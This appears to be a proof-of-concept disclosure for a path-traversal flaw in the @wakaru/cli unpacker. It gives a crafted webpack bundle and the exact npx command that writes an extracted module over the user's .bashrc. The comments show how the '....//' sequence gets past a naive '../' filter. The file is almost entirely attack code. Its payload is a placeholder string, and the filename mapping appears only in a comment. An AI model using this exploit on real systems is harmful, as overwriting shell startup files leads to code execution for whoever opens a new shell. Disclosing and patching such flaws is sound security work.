CVE-2026-54545: @wakaru/cli Arbitrary File Write via Path Traversal in --unpack

// Malicious webpack bundle snippet
// Module ID 1 is given a crafted filename in the module-ID mapping
// so that after sanitization, the output path escapes the output dir.
// The key name in the moduleIdMapping is the attacker-controlled filename.

(function(modules) {
  // webpack JSONP bootstrap (simplified)
  var installedModules = {};
  function __webpack_require__(moduleId) {
    if (installedModules[moduleId]) return installedModules[moduleId].exports;
    var module = installedModules[moduleId] = { exports: {} };
    modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
    return module.exports;
  }
  __webpack_require__(1);
})({
  // Module ID 1 mapped to the traversal filename:
  // "....//....//....//home/user/.bashrc"
  // After the naive sanitizer strips "../" once:
  //   "....//" -> "../"  (overlapping match collapses to "../")
  // Resolved output path escapes the -o directory.
  1: function(module, exports) {
    module.exports = 'eval("malicious payload")';
  }
});

// Invoke:
// npx @wakaru/cli malicious-bundle.js --unpack -o /tmp/out
// Writes the extracted module to  /tmp/out/../../home/user/.bashrc
// (i.e., /home/user/.bashrc)